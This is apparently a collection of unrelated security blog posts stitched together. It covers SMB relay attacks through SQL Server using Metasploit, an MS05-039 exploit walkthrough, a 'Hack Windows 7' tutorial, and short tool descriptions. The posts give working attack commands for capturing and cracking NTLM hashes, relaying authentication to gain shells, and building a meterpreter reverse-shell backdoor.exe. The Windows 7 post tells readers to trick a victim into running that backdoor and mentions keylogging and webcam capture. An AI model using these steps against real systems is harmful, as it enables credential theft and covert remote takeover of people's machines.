Executing SMB Relay Attacks via SQL Server using Metasploit

In this blog, I’ll provide a brief overview of SMB Relay attacks and show how they can be initiated through a Microsoft SQL Server.  I will also provide some practical examples that show how to use new Metasploit modules to gain unauthorized access to SQL Servers during a penetration test.    Below is a summary of what will be covered in this blog:
  •  A Brief History of SMB Relay
  • Using SQL Server to Iniate SMB Authentication Attacks
  • Using Metasploit Modules to Capture and Crack Hashes
  • Using Metasploit Modules to Relay Authentication

A Brief History of SMB Relay

In summary, an SMB Relay attack can be loosely defined as the process of relaying SMB authentication from one system to another via a man-in-the-middle (MITM) position. Based on my five whole minutes of wiki research I now know that the issues that allow smb attacks to be succesful were identified as a threat in the late 90’s.  However, it wasn’t until 2001 that Sir Dystic publicly released a tool that could be used to perform practical attacks.   Seven years later Microsoft got around to partially fixing the issue with a patch, but it only prevents attackers from relaying back to the originating system.
I guess the good news is that SMB relay attacks can be prevented by enabling and requiring smb message signing, but the bad news is that most environments are configured in such a way that attackers can still relay authentication to other systems.
2001 was a while ago, so I got out my calculator and did some hardcore math to figure out that this has been a well known and practiced attack for at least 11 years.  During that time there have been many tools and projects dedicated to taking advantage of the attack technique. Some of the more popular ones include Metasploit, Squirtle, and ZackAttack.
Anyway, let’s get back on track…

Using SQL Server to Initiate SMB Authentication Attacks

So how can we initiate SMB authentication through a SQL Server?  As it turns out, SQL Server can interact with the file system in a number of different ways.  For example, it supports functions for reading from files, providing directory listings, and checking if files exist.  The xp_dirtree and xp_fileexist stored procedures are especially handy, because by default they can be executed by any login with the PUBLIC role in SQL Server 2000 to 2012.
How does this help us?  Both the xp_dirtree and xp_fileexist stored procedures can support more then just local drives.  They also support remote UNC paths (\\server\file).  Also, everytime the SQL Server attempts to access a remote file server via a UNC path it automatically attempts to authenticate to it with the SQL Server service account.
The normal authentication process that would occur when a SQL Server accesses a remote file share via a UNC path looks something like the diagram below:
Basic Authentication Example
In most enterprise environments the SQL Server service is configured with a domain account.  What that means is an attacker could execute one of the prelisted stored procedures via SQL injection (or a valid SQL login) and relay the authentication to another database server to obtain a shell.  Alternatively, an attacker could simply capture and crack the hashes offline.  However, it should be noted that the SQL Server service can be configured with a number of different accounts.  Below is a table showing the basic account configuration options and potential attacks.

Local Administrator Local Administrator Yes Yes

 Using Metasploit Modules to Capture and Crack Hashes

So now that you understand how the basics work, let’s walk through how to initate SMB authentication through SQL server with the intent of gathering and cracking credentials for later use.  In the diagram below, I’ve tried to illustrate what it would look like if an attacker initiated a connection from the SQL server to their evil server and captured hashes using a static nonce.
smb capture
The attack scenario above can be automated using  the “auxiliary/server/capture/smb” and “auxiliary/admin/mssql/mssql_ntlm_stealer” Metasploit modules.  Below is a step by step example of how to capture and crack the credentials using those modules.
Systems for the scenario:
  • SQL  Server 1:
  • Attacker System:
    1. Start the Metasploit “smb” capture module to grab password hashes on the attacker’s system:
      use auxiliary/server/capture/smb
      set CAINPWFILE /cain_hashes.txt
      set JOHNPWFILE /john_hashes.txt

    1. Execute the “mssql_ntlm_stealer” metasploit module to initiate SMB authentication via SQL Server 1 using domain credententials:
      use auxiliary/admin/mssql/mssql_ntlm_stealer
      set USE_WINDOWS_AUTHENT true
      set DOMAIN DEMO
      set USERNAME test
      set PASSWORD Password12
      set RHOST
      set RPORT 1433
      Set SMBPROXY
      msf  auxiliary(mssql_ntlm_stealer) > run
      [*] DONT FORGET to run a SMB capture or relay module!

    1. Crack the first 16 characters of the recovered LANMAN hash with rcracki and a seeded half LM Rainbow Tables. Both can be downloaded from

  1. Crack the second half with john the ripper to obtain the case insensitive full LM password. Use the script from the jumbo pack. They can be downloaded from
    C:\>perl --seed WINTER2 --file john_hashes.txt

  2. Run the same command again to obtain the case sensitve password.
    C:\>perl --seed WINTER2 --file john_hashes.txt

    Loaded 1 password hash (NTLMv1 C/R MD4 DES [ESS MD5] [netntlm])

If you’re interested in automating the process a little, Karl Fosaaen has created a PowerShell script to do it for you:

Using Metasploit Modules to Relay SMB Authentication

Ok, now for the classic relay example.  Below is basic diagram showing how an attacker would be able to leverage a shared SQL Server service acccount being used by two SQL servers.  All that’s required is a SQL injection or a SQL login that has the PUBLIC role.
SMB Relay Attack
Now that we have covered the visual, let’s walkthrough the practical attack  using the mssql_ntlm_stealer module.  This can be used during penetration tests to obtain a meterpreter session on SQL Servers that are using a shared service account.
Systems for the scenario:
  • SQL  Server 1:
  • SQL  Server 2:
  • Attacker System:

    1. Start the Metasploit “smb_relay” module to relay authentication to SQL Server 2:
      use exploit/windows/smb/smb_relay
      set SMBHOST

  1. Configure and execute the “mssql_ntlm_stealer” Metasploit module against SQL Server 1:
    use auxiliary/admin/mssql/mssql_ntlm_stealer
    set USERNAME test
    set PASSWORD Password12
    set RHOST
    set RPORT 1433
    msf  auxiliary(mssql_ntlm_stealer) > run

I know my text examples can be a little lame, so I’ve put together a video example to how this attack can be done via SQL injection.  Hopefully it can provide some additional insight into the attack process.

Wrap Up

I would like to make it clear that none of these are original ideas.  Techniques for initiating SMB relay attacks through SQL injection on database platforms like SQL Server have been around a long time. My hope is that the Metasploit modules can be used during penetration tests to help generate more awareness.  To those out there trying to do a little good with a little bad – have fun and hack responsibly!

SQL Fingerprint Xmas Released

Microsoft SQL Server fingerprinting can be a time consuming process, because it involves trial and error methods to determine the exact version. Intentionally inserting an invalid input to obtain a typical error message or using certain alphabets that are unique for certain server are two of the many ways to possibly determine the version, but most of them require authentication, permissions and/or privileges on Microsoft SQL Server to succeed.

Instead, uses a combination of crafted packets for SQL Server Resolution Protocol (SSRP) and Tabular Data Stream Protocol (TDS) (protocols natively used by Microsoft SQL Server) to accurately perform version fingerprinting and determine the exact Microsoft SQL Server version. also applies a sophisticated Scoring Algorithm Mechanism (Powered by Exploit Next Generation++ Technology), which is a much more reliable technique to determine the Microsoft SQL Server version. It is a tool intended to be used by:

This version is a completely rewritten version in Perl, making much more
 portable than the previous binary version (Win32), and its original purpose is 
to be used as a tool to perform automated penetration test. This version 
also includes the followingMicrosoft SQL Server versions to its fingerprint

Metasploit Nmap Version

For those of you wondering why metasploit uses nmap 5.61 instead of 6.01 when you do
an nmap scan in metasploit its because metasploit has its own nmap built in and the metasploit devs haven't upgraded it yet
if you want to use Nmap 6.01 in metasploit do the following.

mv /opt/metasploit/common/bin/nmap /opt/metasploit/common/bin/nmap.bak
ln -s /usr/local/bin/nmap /opt/metasploit/common/bin/
cd /opt/metasploit/common/lib
cd ../../msf3;./msfconsole
db_nmap -sS -sV -O            # your gateway maybe different to get your gateway follow below #

Copy and paste below into terminal to get Your Gateway

ip route show default | awk '/default/ {print $3 "/"24}'

if you get a libcrypto system link errror when you start metasploit, nmap or updating do the following
cd /opt/metasploit/common/lib
ln -s /usr/lib/
ln -s /usr/lib/

If you encounter any problems and want to restore the metasploit built in nmap
mv /opt/metasploit/common/bin/nmap.bak /opt/metasploit/common/bin/nmap

Real-World Security Tests Using Metasploit

The Perl-based Metasploit was designed to be a robust exploit development system. It just so happens that you can use it to run previously developed exploits against your own systems. You can use its security testing features to see if your systems vulnerable to penetration and how they react when specific payloads are sent their way.
Outside of common Web application tests such as SQL injection and input tampering which are not supported, Metasploit has exploit code for a wide range of vulnerabilities in standalone applications, Web servers, operating systems, and more — 100 exploits and 75 payloads in version 2.4 to be exact. Version 2.5 was just released which, according the Metasploit site, includes bug fixes, cosmetic changes, and 32 more exploits! Even with over 100 exploits to choose from, obviously this isn’t enough to exploit every possible vulnerability in every penetration testing scenario you come across. But then again, the framework was built so you can write your own if you’re so inclined.

In this installment, I’ll outline how to use Metasploits built-in exploits and payloads in a real-world testing scenario. Be forewarned that it’s possible to create undesired results with this tool when performing your tests such as crashing or leaving production systems in an unstable state. As with any ethical hacking venture, proceed with caution and have a contingency plan in the event something goes awry. Please don’t take this lightly.
How to use Metasploit commands
Before jumping into the specific steps to execute this exploit, there are some common msfconsole commands you should know about:

  • help (or ‘?’) – shows the available commands in msfconsole
  • show exploits – shows the exploits you can run (in our case here, the ms05_039_pnpexploit)
  • show payloads – shows the various payload options you can execute on the exploited system such as spawn a command shell, uploading programs to run, etc. (in our case here, the win32_reverse exploit)
  • info exploit [exploit name] – shows a description of a specific exploit name along with its various options and requirements (ex. info exploit ms05_039_pnp shows information on that specific attack)
  • info payload [payload name] – shows a description of a specific payload name along with its various options and requirements (ex. info payload win32_reverse shows information on spawning a command shell)
  • use [exploit name] – instructs msfconsole to enter into a specific exploit’s environment (ex. use ms05_039_pnp will bring up the command prompt ms05_039_pnp > for this specific exploit
  • show options – shows the various parameters for the specific exploit you’re working with
  • show payloads – shows the payloads compatible with the specific exploit you’re working with
  • set PAYLOAD – allows you to set the specific payload for your exploit (in this example,set PAYLOAD win32_reverse)
  • show targets – shows the available target OSs and applications that can be exploited
  • set TARGET – allows you to select your specific target OS/application (in this example, I’ll use set TARGET 0 to for all English versions of Windows 2000)
  • set RHOST – allows you to set your target host’s IP address (in this example, set RHOST
  • set LHOST – allows you to set the local host’s IP address for the reverse communications needed to open the reverse command shell (in this example, set LHOST
  • back – allows you to exit the current exploit environment you’ve loaded and go back to the main msfconsole prompt
How to use Metasploit: Real-world exploit
Now that I’ve described the basic commands you’ll need, let’s take a look at some specific steps and screen shots required to carry out a real-world exploit.

My test target in this example is a Windows 2000 Server system that has the MS05-039 plug and play vulnerability (CVE-2005-1983) that was exploited by the Zotob worm. This hole — which Metasploit happens to have an exploit for — allows arbitrary code execution including shell (command prompt) access to the system. I know my target system has this vulnerability because I discovered the problem with the vulnerability assessment tool QualysGuard. This is purely a part of an ethical hacking methodology, but it’s not required. You can blindly test your systems — or, even better — Metasploit can do some of the legwork for you with its “check” function to see if a system is vulnerable before exploiting it. More on this below. My testing system is a Windows XP SP2 system running the Metasploit Framework version 2.4 I downloaded and installed. I’ll use Metasploit’s most commonly used msfconsole interface to demonstrate this attack.
Metasploit how-to: Step 1
I load msfconsole (via Start/Programs/Metasploit Framework/MSFConsole) and its command prompt comes up:
Note: At this point you can enter show exploits to see which exploits are available for your target system.

Metasploit how-to: Step 2
I enter use ms05_039_pnp to run the specific exploit which I know the system is vulnerable, and it loads up that specific exploit’s environment prompt (hence the ms05_039_pnp > prompt):

Metasploit how-to: Step 3
I then enter show payloads to determine which payloads can be sent via this exploit:

Metasploit how-to: Step 4
I decide to have the exploit open up a reverse command shell, so I enter set PAYLOAD win32_reverse. I then enter show targets to determine which operating systems and applications are supported. In this case, I’ll set my target to the option that supports versions of Windows 2000 Service Pack 0 (the first version of Windows 2000) thru Service Pack 4 by entering set TARGET 0:

Metasploit how-to: Step 5
I then enter show options to determine the non-optional exploit and payload parameters that don’t have defaults and, therefore, must be set. In this case, it’s the RHOST and LHOST parameters which can be set via set RHOST and set LHOST

Metasploit how-to: Step 6
I enter show options one final time to make sure everything is set correctly and then entercheck to confirm that my target system is indeed vulnerable to the ms05_039_pnp vulnerability.

Metasploit how-to: Step 7
Finally, I enter exploit to run the exploit and send the payload to my target system — and voila — the connection is established and I have a command prompt on the remote system! Penetration testing at its finest:

You can imagine what could happen at this point if a malicious hacker compromised your system in this way. That’s why it’s so important to “hack” your own systems first so you can find and plug the holes before the bad guys exploit them.
Using Metasploit: There’s more to come
This exploit is just one example of what can be done using Metasploit during penetration testing. The good thing is that outside of the specific exploit and payload I used, most of the commands and techniques in this example can apply directly to other Metasploit-supported exploits.

Once you’re used to how Metasploit operates, you’ll be glad to know that it contains several advanced features. You can save your “set” options, log your actions, and even define how each payload will clean up after itself once it’s done running. The neat thing about Metasploit is that it’s so powerful yet so easy to use. The msfconsole is very intuitive and help is always just a command away.
I encourage you to play around with Metasploit in a test environment to see for yourself what it can do. It’s an enlightening proof of concept tool to say the least. If you stay plugged into the Metasploit Project’s Web site, you can stay abreast of the latest framework and exploit releases. Apparently, a new and improved version of Metasploit (version 3) written in the Ruby programming language is due out soon, so be on the lookout for it as well.
It pleases me that we’ve got such advanced tools like Metasploit at our disposal for the betterment of information security – especially for the low, low price of $0 in this case. These types of exploit tools will certainly play a vital role in the future of improving the overall quality of software, so the more you know about them the better. With a quick Metasploit download, easy install, and a few minutes familiarizing yourself with its interface, the future is all yours.

Hack Windows 7 with Metasploit

In this tutorial i will exploit a Windows 7 Sp1 OS using Metasploit. i will be using the exploit/multi/handler module which “provides all of the features of the Metasploit payload system to exploits that have been launched  outside of the framework“
Before we fire up Metasploit, we need to create a payload in order to gain a meterpreter shell. To create a payload type this in the terminal without the quotes:

msfpayload windows/meterpreter/reverse_tcp LHOST=”your Local IP” LPORT=”listening port” x > /root/backdoor.exe

I used port 4444 (you can choose your own port) for the LPORT which is the listening port and set the LHOST to the IP of the remote attacker which is obviously your Local IP address, my IP is

After that, you should be able to see a file named as backdoor.exe in /root. Send the file to the victim by using your Social Engineering skills and let him click the file. You can change the name of the file so that it is not that obvious.

Launch Metasploit and set the exploit by typing these commands in your msfconsole:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost
set lport 4444

If all goes well, you should be able to establish a meterpreter session. Type sysinfo to gather some info on the machine. To know other commands for the meterpreter type help. There are also other meterpreter commands like capturing the screenshot of the PC, record keystrokes, capture a snapshot from a webcam, etc. To enter the command shell of the machine, type shell.
it,s cool to take a screenshot with meterpreter command screenshot.

Perform Smart SSL Cipher Enumeration:SSL Smart

SSLSmart, a highly flexible and interactive tool aimed at improving efficiency and reducing the false positives during SSL testing.
Among other things, SSLSmart simply an advanced and highly flexible Ruby based smart SSL cipher enumeration tool. It is an open source, cross platform, free tool. It was programmed because a number of tools on the Windows platform allow users to test for supported SSL ciphers suites, but most only provide testers with a fixed set of cipher suites. Further testing is performed by initiating an SSL socket connection with one cipher suite at a time, an inefficient approach that leads to false positives and often does not provide a clear picture of the true vulnerability of the server. SSLSmart is designed to combat these shortcomings.

SSLSmart Features:

SSLSmart offers a wide range of features to improve testing efficiency and reduce false positives. These features are as follows:

  • Content Scan (default): Exact server response can be seen in HTML and Text forms for each
  • cipher suite selected for the test URL. Basically, it shows various server error messages received for weak cipher suites from live systems.
  • CONNECT Scan: Focuses only on success or failure of SSL socket connection with various cipher suites. This behavior does not offer any advantage over existing SSL testing tools and is thus likely to have similar issues with false positives. However, this scan is faster and consumes fewer network and CPU resources.
  • Dynamic Cipher Suite Support: Most SSL testing tools provide a fixed set of cipher suites. SSLSmart hooks into Ruby OpenSSL bindings and offers dynamic “on the fly” cipher suite generation capabilities.
  • Certificate Verification: SSLSmart performs server certificate verification. It uses the Firefox Root CA Certificate4 repository to perform Root CA verification. Additional Root CA Certificates can be added to the rootcerts.pem file or a custom .pem file can be supplied for Root CA Certificate verification.
  • Proxy Support: SSLSmart provides web proxy support. For results to be accurate, it is important to use a transparent proxy5.
  • Reporting: Reports can be generated in XML, HTML and Text formats along with their verbose versions. Verbose report versions include complete application response for each cipher suite and full details of the server certificate.
  • API’s: Monkey patched Ruby API’s that form the backbone of SSLSmart can be consumed to write custom Ruby scripts for quick tests. These API’s can be consumed by users who work with the SSLSmart gem.

What i liked the most about this tool is that SSLSmart supports XML, HTML, Text and their corresponding verbose reporting versions. In addition to details in the normal report, verbose versions include complete application responses for each cipher suite and full details of server certificates. Another feature that i liked is the API support. These API’s form the backbone for SSLSmart tests can be used to write custom scripts. SSLSmart gem includes source code and can be used by users who have Ruby installed on their systems and it comes from McAfee labs!

Platform Support and Installers:

SSLSmart has been tested to work on the following platforms and versions of Ruby:
Windows: Ruby 1.8.6 with wxruby6 (2.0.0) and builder7 (2.1.2).
Linux: Ruby 1.8.7/1.9.1 with wxruby (2.0.0) and builder (2.1.2).
